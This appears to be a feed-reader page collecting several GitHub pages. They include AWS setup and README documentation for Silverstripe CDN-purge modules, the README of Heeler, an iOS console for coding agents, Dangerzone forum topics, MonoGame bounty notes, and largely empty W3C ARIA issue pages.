Make the site send that header. A response header policy or a Lambda@Edge origin response function can add it, or the site can send it from a Silverstripe HTTPMiddleware.
Subclass CloudFrontPurgeAdaptor. Return true from supports() for PurgeCapability::PurgeTags, and send each tag as # plus the tag through the same CreateInvalidation call.
Bind the subclass over Blueo\Purge\Service\PurgeAdaptor in your project config, after the module's block.

The capability is then declared by the code that knows the distribution is configured for it, which is your project and not this module.

silverstripe-purge-cloudfront/docs/aws-setup.md at 3ef30fcdfdf7ff152832483f3ddbfae3a35a6e4b · blueo/silverstripe-purge-cloudfront · GitHub

Sun, 27 Sep 2026 01:38:42 +0000

AWS setup

What the AWS side needs, and how to check it.

Credentials

The module passes no credentials to the SDK. The AWS SDK for PHP then walks its default provider chain, in this order:

The environment variables AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY.
An assumed role from the shared config file, where AWS_PROFILE names one.
The shared credentials file at ~/.aws/credentials.
The ECS container credentials endpoint, read from AWS_CONTAINER_CREDENTIALS_RELATIVE_URI. This is the step that serves a Fargate task role.
The EC2 instance metadata service.

The deployment this module targets runs on Fargate. The ECS agent sets AWS_CONTAINER_CREDENTIALS_RELATIVE_URI in the task, the SDK reads it, and the credentials rotate without anyone handling them. A key in config would have to be rotated by hand and would sit in the environment of every process in the task.

The task role

The task role needs one action. Attach this policy to the role named in the task definition's taskRoleArn, not to the execution role:

A CloudFront distribution ARN carries the account id and no region, because CloudFront is global.

Add cloudfront:GetInvalidation if an operator will read invalidation status from the task. The module does not call it.

The execution role is what pulls the image and writes the logs. Putting this statement there gives the permission to the wrong identity, and the symptom is AccessDenied at the first publish.

In CloudFormation

TaskRole:
  Type: AWS::IAM::Role
  Properties:
    AssumeRolePolicyDocument:
      Version: '2012-10-17'
      Statement:
        - Effect: Allow
          Principal:
            Service: ecs-tasks.amazonaws.com
          Action: sts:AssumeRole
    Policies:
      - PolicyName: purge-cloudfront
        PolicyDocument:
          Version: '2012-10-17'
          Statement:
            - Effect: Allow
              Action: cloudfront:CreateInvalidation
              Resource: !Sub 'arn:aws:cloudfront::${AWS::AccountId}:distribution/${Distribution}'

The environment variables

PURGE_CLOUDFRONT_DISTRIBUTION_ID="E1A2B3C4D5E6F7"

Set it in the task definition beside the other site variables. It is not a secret, so it does not need Secrets Manager.

PURGE_CLOUDFRONT_REGION is optional and defaults to us-east-1. Set it only to point the SDK at a local stub.

Checking it

sake tasks:blueo-purge --capabilities

Reads:

Provider: Blueo\Purge\CloudFront\Service\CloudFrontPurgeAdaptor
  Purge by URL: yes
  Purge everything: yes
  Purge by tag: no
Queue: queuedjobs

Provider: Blueo\Purge\Service\NullPurgeAdaptor means PURGE_CLOUDFRONT_DISTRIBUTION_ID is not set in that environment, because the Injector block is gated on it.

Then send one:

sake tasks:blueo-purge --url=/

A success prints the invalidation id. Look it up in the CloudFront console under the distribution, on the Invalidations tab.

Local development

Leave PURGE_CLOUDFRONT_DISTRIBUTION_ID out of .env on a developer machine. The provider then binds nothing, and a publish logs that no provider is installed rather than invalidating the production distribution from a laptop.

To test against a real distribution from a machine, set AWS_PROFILE to a profile that can assume a role with cloudfront:CreateInvalidation, and set the distribution id to a distribution built for the purpose.

Errors you will see

Message	Cause
`AccessDenied: User ... is not authorized to perform: cloudfront:CreateInvalidation`	The policy is on the execution role, or the resource ARN names a different distribution.
`NoSuchDistribution`	`PURGE_CLOUDFRONT_DISTRIBUTION_ID` holds the domain name, `d111111abcdef8.cloudfront.net`, and not the id.
`TooManyInvalidationsInProgress`	More invalidations are open on the distribution than CloudFront will hold. Raise `paths_per_invalidation` so fewer requests carry the same paths, or purge less often.
`Unable to locate credentials`	The container credentials endpoint is not reachable. On Fargate, check that the task definition names a `taskRoleArn`.
`PURGE_CLOUDFRONT_DISTRIBUTION_ID is not set`	The variable is missing in an environment where the module was expected to be active.

GitHub - blueo/silverstripe-purge: Purge a CDN cache from Silverstripe, with pluggable providers · GitHub

Sun, 27 Sep 2026 01:38:41 +0000

blueo/silverstripe-purge

Purging of a cache in front of a Silverstripe CMS 6 site, through interfaces that do not change when the CDN changes.

This module purges nothing on its own. It holds the interfaces, the triggers and the timing. A provider module binds an implementation over the adaptor interface. Without one, every purge call throws and names the missing provider.

Purpose

A site in front of a CDN has to tell the CDN when a page changed. The API that does this differs between CloudFront, Fastly, Akamai and Cloudflare, and a site that calls one of them by name is tied to it.

This module gives a site three calls that stay the same across providers: purge these URLs, purge everything, purge these tags. A change of CDN is a change of provider module and an environment variable.

Installation

composer require blueo/silverstripe-purge
composer require blueo/silverstripe-purge-cloudfront
sake dev/build flush=1

Install a provider at the same time. See available provider modules.

Feature support

What this module supports, against what a CDN might offer. A provider declares which of these it performs, and this module refuses the rest. See capabilities.

Feature	Module support	Rationale
Purge by URL	Yes	Every CDN has it. It is the operation a publish uses.
Purge everything	Yes	Every CDN has it. It is what a template change needs.
Purge by tag (surrogate key)	Yes, where the provider has it	A tag purge removes every page that carries a key, without listing the pages. The CloudFront provider declares this capability false and a call throws, because a CloudFront tag invalidation is accepted by a distribution that is not configured for tags and removes nothing.
Purge on publish, unpublish and delete	Yes	Applied to `SiteTree` when silverstripe/cms is installed.
Purge from a queue	Yes, where silverstripe/queuedjobs is installed	A publish must not wait on a CDN round trip.
Soft purge, stale while revalidate	No	Fastly and Cloudflare express it, CloudFront does not. A capability that two of four providers offer moves a site's behaviour when the CDN changes.
Purge by prefix or by wildcard	No	Pass a provider's own wildcard as a URL where the provider accepts one, for example `/news/*` on CloudFront. The syntax is the provider's, so this module does not name it as a feature.
Read the status of a purge	No	The result carries the provider reference. Look the purge up with it in the provider's console.

Capabilities

No CDN performs every operation. The interface carries all three, so a site calls the same method whichever provider is bound, and each provider declares what it does:

Three rules hold:

The answer is available before the call. supports() and getCapabilities() take no network call and do no work.
An undeclared operation throws UnsupportedOperationException. It does not return a result, and it does not return quietly. A site that reads a success for work nobody did believes its pages are fresh.
The refusal is in PurgeService, not in the provider. A provider that forgets to check still cannot run an operation it did not declare.

PurgeCapability is an enum rather than one interface for each operation. The cases can be listed, so sake tasks:blueo-purge --capabilities prints the support matrix of the installed provider on the running site. Separate interfaces would need an instanceof at every call site and could not be printed.

What gets purged, and when

A publish changes more than the page. The listing above it shows the page title and the page order. The home page often shows the latest of something. Neither is republished, so nothing else purges them.

UrlCollector returns these for a changed page:

PurgeOnPublishExtension collects them on onAfterPublish, onAfterUnpublish and onAfterDelete, and hands them to PurgeDispatcher.

This is three rules and a list, and not a rules engine. A site whose staleness does not follow the tree replaces UrlCollector through Injector, and gets one class to write rather than a configuration language to learn. See triggers in detail, which also lists what these rules do not cover.

Timing

A purge is an HTTP call to a CDN, and an author who publishes a page waits for the response.

With silverstripe/queuedjobs installed, the purge goes to PurgeJob and the publish returns.
Without it, the purge is sent in the same request.

queuedjobs is a suggestion in composer.json and never a requirement. The class is reached by name and never imported, and src/Job/ carries a _manifest_exclude file so a site without queuedjobs never loads the job.

PurgeDispatcher::canQueue() reports which of the two is in use.

The task

sake tasks:blueo-purge --capabilities
sake tasks:blueo-purge --url=/about-us/ --url=/news/
sake tasks:blueo-purge --all
sake tasks:blueo-purge --url=/news/ --queue

--capabilities prints the bound provider, what it supports and whether purges are queued, and purges nothing. Run it first on a new environment.

Logging

A failed purge writes an error through Psr\Log\LoggerInterface, which on a Silverstripe site reaches the error handler and whatever it is configured to send to. Three paths lead there:

A provider returns a failed result. PurgeService logs the message.
A provider throws. PurgeService logs the exception and returns a failed result, so one CDN outage does not stop authors publishing.
A trigger fails. PurgeOnPublishExtension logs the class and the ID of the page, so the log line names the page that is now stale.

An operation the provider does not support is not logged. It throws, because it is a mistake in the calling code and not a fault at run time.

Configuration

Blueo\Purge\Service\UrlCollector:
  include_parent: true
  include_home: true
  extra_urls:
    - '/sitemap.xml'

Blueo\Purge\Service\PurgeDispatcher:
  # Send every purge inline, including on a site that has queuedjobs.
  use_queue: true

Blueo\Purge\Extension\PurgeOnPublishExtension:
  # Turn the publish triggers off and purge from the task or your own code.
  purge_on_change: true

Available provider modules

Tests

composer install
vendor/bin/phpunit

The tests run from the module directory against SQLite. There is no site to stand up first.

freedomofpress/dangerzone · Discussions · GitHub

Sun, 27 Sep 2026 01:37:57 +0000

freedomofpress dangerzone Discussions

Categories, most helpful, and community links

Uh oh!

There was an error while loading. Please reload this page.

Community links

Discussions

You must be logged in to vote

💡

Optinally Preserve Original Document Inside Sanitized (but neutralized)

deeplow started Apr 23, 2025 in Ideas

9
You must be logged in to vote

🙏

Any instructions for running on UNRAID?

garfnodie asked Mar 8, 2026 in Q&A · Answered

5
You must be logged in to vote

💬

What about password-protected pdf files?

DeltaEpsilon19498 started Jan 26, 2026 in General

2
You must be logged in to vote

💬

Small questions about Dangerzone 0.10.0

DeltaEpsilon19498 started Jan 26, 2026 in General

3
You must be logged in to vote

💡

Use Dangerzone directly in a docker compose setup

dheldt started Oct 24, 2025 in Ideas

6
You must be logged in to vote

💬

Feedback on Dangezone 0.10.0 in Windows 11

DeltaEpsilon19498 started Jan 26, 2026 in General

0
You must be logged in to vote

💬

How can people be made more aware of the existence of dangerzone, beyond journalists?

DeltaEpsilon19498 started Oct 2, 2025 in General

3
You must be logged in to vote

🙏

What tools can be used in conjunction with dangerzone to get rid of watermarks?

DeltaEpsilon19498 asked Oct 15, 2025 in Q&A · Unanswered

1
You must be logged in to vote

🙏

Question on when dangerzone is or is not necessary

DeltaEpsilon19498 asked Oct 2, 2025 in Q&A · Unanswered

2
You must be logged in to vote

💬

Will there ever be something equivalent to a VPN killswitch when opening pdfs?

DeltaEpsilon19498 started Oct 2, 2025 in General

1
You must be logged in to vote

💡

Roadmap to 1.0.0

eloquence started Aug 31, 2023 in Ideas

5
You must be logged in to vote

🙏

dangerzone as a docker on the server?

r-gorajski asked Jun 4, 2024 in Q&A · Unanswered

12
You must be logged in to vote

💬

Qubes OS Integration General Feedback
P:Qubes QubesOS integration
deeplow started Aug 29, 2023 in General

0
You must be logged in to vote

📣

Welcome to the Dangerzone forum

eloquence announced Jul 19, 2023 in Announcements

0

GitHub - ZingerLittleBee/Heeler: Native iOS agent console for herdr — watch and drive the coding agents on your machines over SSH, with a real libghostty t...

Sun, 27 Sep 2026 01:16:54 +0000

Heeler is an agent console: a native dashboard of every coding agent running on your machines, sorted by who needs you. Open an Agent to read and steer its live terminal, draft with the full iOS keyboard in a native Composer, and Send the complete message once — all over plain SSH.

Screenshots

View iPad screenshots

Features

Console — every Agent on every machine in one status-sorted list (Blocked first), filterable by Host, updated live.
Attach — the Agent's real terminal rendered by libghostty: native scrollback, momentum touch scrolling that also drives full-screen TUIs, long-press selection, takeover of a stale terminal owner, and quietly collected web links to open later.
Composer — draft locally with the full iOS keyboard (autocorrect, IME, dictation), then Send once; the tools keyboard adds Agent control keys, Agent Skills, reusable Snippets, and terminal appearance.
Terminal — open a plain shell in the Agent's directory, with Text and Keys modes and one reused tab per Workspace.
Attachments — stage a photo or a file up to 64 MiB onto the Host over SFTP and insert its path into the draft.
QR pairing — scan a Pairing Code to add a machine; keys are generated on device, private keys stay in the Keychain, and the code pins the host key fingerprint.
Notifications + Live Activities — end-to-end encrypted pushes when an Agent goes Blocked or Done, and a lock-screen / Dynamic Island banner tracking Agents in real time; the relay can never read the content (PRIVACY.md).
Worktrees — start an Agent on a clean checkout of the workspace's repo.
Appearance — System, Light, or Dark; 30 terminal themes with separate Light and Dark slots; bundled JetBrains Mono and IBM Plex Mono; pinch to zoom.
Jump Host — reach unroutable machines through an SSH jump, with keys verified at both hops.

How it connects

Heeler speaks herdr's JSON API over SSH: each request opens a direct-streamlocal channel onto herdr.sock, one long-lived channel carries the event stream, and interactive terminals run herdr agent attach --takeover on an SSH PTY. The only prerequisites are SSH access and a running herdr — no server changes, no extra packages. The SSH server must allow stream-local forwarding (the OpenSSH default); onboarding calls it out when it's disabled.

Unroutable machines can sit behind an SSH Jump Host:

Adding a machine

On the machine running herdr (Node >= 20, herdr >= 0.7.5, OpenSSH server on — macOS: System Settings > General > Sharing > Remote Login):

herdr plugin install ZingerLittleBee/Heeler/plugin --ref main --yes
herdr plugin action invoke heeler.pair

Scan the Pairing Code QR it shows and the machine is added as a Host — the code carries the addresses, the host key fingerprint, and SSH key enrollment. The same plugin delivers the encrypted notifications once you enable them for the Host in the app.

Stack

SwiftUI, iOS 18+, iPhone and iPad. iPad support is restored in 0.1.8 with Magic Keyboard shortcuts, multiwindow, and drag and drop.
The repository-local Packages/HeelerSSH (libssh2 + OpenSSL) for SSH
libghostty-spm for terminal emulation and Metal rendering

See docs/adr/ for why — the transport story in particular is not obvious.

Contributing

Issues and PRs are welcome — see CONTRIBUTING.md for layout, build/test, and conventions.

Status

Released on the App Store. It is not yet available in every country or region; where it is missing, the TestFlight build stays available. Built for personal use first and shaped by daily driving, so expect rough edges and fast iteration. Not affiliated with the herdr project.

Bounties [Supported work] · Issue #8120 · MonoGame/MonoGame · GitHub

Sun, 27 Sep 2026 00:34:28 +0000

Description

ThomasFOG

opened on Jan 11, 2024

Issue body actions

This issue is reserved for listing ongoing and open bounties.

Important

Please note, new bounties are currently on hold while we revise the process to be fairer and attempt to curb the intrusion of AI bounty hunters.

🟢 Currently open bounties:

None at present 😊

Note

Full details for the process to apply for bounties can be found on the MonoGame Bounties page on the main website.

A list of potential bounties is also being written up based on a discussion in the latest MonoGame Foundation meeting and several community requests. Writing up the bounties and having their reviewed takes a significant investment in time, so please bear with us.

🔒 Currently reserved and being worked on bounties:

🚀 Completed bounties:

Note

Values removed from bounties due to the rise of AI bots seeking work. If you wish to enquire about bounties, then please ask.

Reactions are currently unavailable

Activity

Metadata

Assignees

No one assigned

Labels

Bounty docsDocumentation-only work.Documentation-only work.maintenanceHousekeeping: cleanup, consistency fixes, repo hygiene, minor infrastructure upkeep.Housekeeping: cleanup, consistency fixes, repo hygiene, minor infrastructure upkeep.priority: lowNice to have; backlog item with no near-term urgency.Nice to have; backlog item with no near-term urgency.scope: docsDocumentation structure, guides, contributor docs, and API documentation work.Documentation structure, guides, contributor docs, and API documentation work.

Type

Task

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions

Issues with testing the templates? · MonoGame/MonoGame.EmptyGame.CSharp · Discussion #3 · GitHub

Sun, 27 Sep 2026 00:34:27 +0000

Issues with testing the templates? #3

SimonDarksideJ started this conversation in General

Issues with testing the templates? #3

SimonDarksideJ

Sep 16, 2026 · 0 comments

Return to top

Discussion options

Uh oh!

There was an error while loading. Please reload this page.

SimonDarksideJ
Sep 16, 2026
Maintainer

Each template in its folder contains detailed information about the template, including how to safely install the template for testing

Note

.NET requires you to install the template in order to use it to create a new project from it. This can be done safely using a hive (temp deployment).

Just remember to "uninstall" them later!

If you have issues testing or using the templates, list them here.

You must be logged in to vote

All reactions

Roastidio.us in webspace https://github.com/

Mathematical manuscripts and supporting proof artifacts produced by OpenAI

Pared - remove unwanted Apple Intelligence models without disabling SIP

AI is now capable of developing its own inference hardware

Show HN: OpenChart – OSS TradingView alternative with your own AI agent

Montray - a tray icon for systemd service health

kahawai - an open source, modular media system

Photopea creator weighs in on Photosuite project

Show HN: AI search for every photo and every frame of video on macOS

Release mold 3.0.0 · rui314/mold · GitHub

ncdu: NCurses Disk Usage (an updated fork)

Turn off Apple Intelligence on macOS 27 and get its disk space back

Run Qwen 3.8 Flash Next (125B) on consumer hardware (RTX 4090) at 100T/s

GitHub - Twotoz/C5VRX: Ultra-minimal, zero-CPU 5.8 GHz analog FPV video receiver using ESP32-C5 Wi-Fi 6 PHY MODEM_DIAG, BitScrambler WBFM demodulation & resi...

Current firmware

Demodulator and gain notes

Web Flasher (Zero-Install Browser Flashing)

Automatic releases and versioning

Website deployment

Community

What is C5VRX?

Key Innovations & Architectural Highlights

1. The Breakthrough: Zero-EOF Circular GDMA

2. Direct Gain V5 default gain controller

3. Default RF settings

4. Phase8 adjacent demodulator

Known limits

Hardware Pinout (Seeed Studio XIAO ESP32-C5)

Output network and controls

Interactive Serial Console Hotkeys

Build & Flash Guide

Prerequisites

Step 1: Build the Firmware

Option A: Build via Docker (Zero-Install Toolchain)

Option B: Build with Native ESP-IDF v6.0+

Step 2: Validate the firmware sources

Step 3: Flash to ESP32-C5

Option A: Web Flasher (Zero-Install In-Browser Flasher)

Option B: Zero-Friction Auto-Flash (Python Watcher)

Option C: Direct Flash Script

Option D: Native ESP-IDF Flasher

Step 4: Interactive Serial Monitor & Diagnostics

Repository Structure

License

"accessibility descendant" in presentational role inheritance and other concerns · Issue #2832 · w3c/aria · GitHub

"accessibility descendant" in presentational role inheritance and other concerns #2832

Description

Activity

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions

html-in-canvas feedback · Issue #2758 · w3c/aria · GitHub

html-in-canvas feedback #2758

Description

Activity

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions

Editorial: In favor of "owned element" and "owning element", uses "ac… · w3c/aria@bb6baf1 · GitHub

File tree

0 commit comments

feat(commons/aria): support ARIA element internals properties by straker · Pull Request #5171 · dequelabs/axe-core · GitHub

WilcoFiers Jun 18, 2026

Choose a reason for hiding this comment

Uh oh!

chutchins25 Jun 18, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

chutchins25 Jun 18, 2026 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

pkra Jun 29, 2026 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.